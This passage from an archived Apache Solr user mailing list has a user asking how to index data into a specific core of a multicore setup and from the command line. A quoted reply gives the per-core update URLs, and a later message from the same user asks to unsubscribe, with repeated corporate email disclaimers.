privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
RE: multicore
Hi, I want to index through commond line How to do that? -Original Message- From: Erik Hatcher [mailto:e...@ehatchersolutions.com] Sent: Thursday, April 02, 2009 5:42 PM To: solr-user@lucene.apache.org Subject: Re: multicore On Apr 2, 2009, at 6:32 AM, Neha Bhardwaj wrote: > Also how to index data in particular core. > Say.. we have core0 and core1 in multicore. > How can I specify that on which core iwant to index data. You index into http://loalhost:8983/solr/core0/update or http://loalhost:8983/solr/core1/update Erik DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.
want to Unsubscribe from Solr Mailing List
Hi, I wish to unsubscribe from list . My email address is neha_bhard...@peristent.co.in Thanks for all the help and support. Thanks and Regards, Neha Bhardwaj| Software Engineer| Persistent Systems Limited Neha <mailto:neha%20bhard...@persistent.co.in%20> bhard...@persistent.co.in | Cell: +91 9272383082| Tel: +91 (20) 3023 5257 Innovation in software product design, development and delivery- www.persistentsys.com DISCLAIMER == This e-mail may contain privileged and confidential information which is the property of Persistent Systems Ltd. It is intended only for the use of the individual or entity to which it is addressed. If you are not the intended recipient, you are not authorized to read, retain, copy, print, distribute or use this message. If you have received this communication in error, please notify the sender and delete all copies of this message. Persistent Systems Ltd. does not accept any liability for virus infected mails.